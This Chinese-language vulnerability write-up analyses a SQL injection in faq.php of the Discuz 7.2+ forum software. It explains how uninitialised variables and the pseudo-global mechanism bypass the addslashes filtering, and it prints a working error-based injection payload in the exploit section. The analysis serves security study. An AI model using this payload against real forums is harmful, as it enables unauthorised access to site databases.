Discuz >= 7.2 faq.php 前台SQL注入漏洞
更新时间:
许可信息: 本文采用 自由转载-非商用-非衍生-保持署名 许可协议,作者alpha1e0,转载请注明作者或出处链接。
本文分析Discuz >= 7.2 faq.php 前台SQL注入漏洞
1 简介
该漏洞的利用思路非常经典,成功得绕过了全局addslash,利用“Discuz伪全局”和“变量未初始化”两者进行SQL注入
1.1 exploit
URL:
http://test.com/discuz/7.2//faq.php ?action=grouppermission
Form\_Post:
gids[99]='&gids[100][0]=) and (select 1 from (select count(\*),concat(2c1743a391305fbf367df8e4f069f9f9,floor(rand(0)\*2))x from information_schema.tables group by x)a)#
1.2 Discuz 伪全局机制
Discuz 入口全局处理文件@include/common.inc.php #L40
:
可以看到,在discuz的入口处,先对_POST/_GET/_COOKIE进行伪全局处理,解压为变量,同时对变量值进行daddslashes(数组递归addslashes)
因此只要任何文件只要require了common.inc.php
文件则普通的SQL注入都不可能了
2 漏洞原理
2.1 变量未初始化
@faq.php #L184:
通过阅读代码,或者进行调试,发现$gids在使用前未初始化,因此可以结合伪全局,通过参数控制变量$gids
最终带入查询的是$groupids数组,该数组是取$gids数组的每行的第一个元素构成的,即
如果$gids为[1,aaa,[[4,5,6],bbb]],则$groupids为[1,a,[4,5,6]]
2.2 implodeids函数的问题
@include/global.func.php #L675
该函数本身没有问题,它将一个数组连接成一个字符串,其中每个元素包含在单引号后面
但是将该函数用在查询语句里就会出问题
2.3 bypass全局过滤实现SQL注入
如果传入以下参数
gids[99]='&gids[100][0]=) and (select ...#
则,$gids/$groupsids/query变量为:
可以看到,$groupids的第二个元素为“/
”,在query语句正好将一个“'
”单引号给注释掉了,从而拼接SQL注入语句成功
3 参考
- http://www.wooyun.org/bugs/wooyun-2014-066095
- https://www.91ri.org/9493.html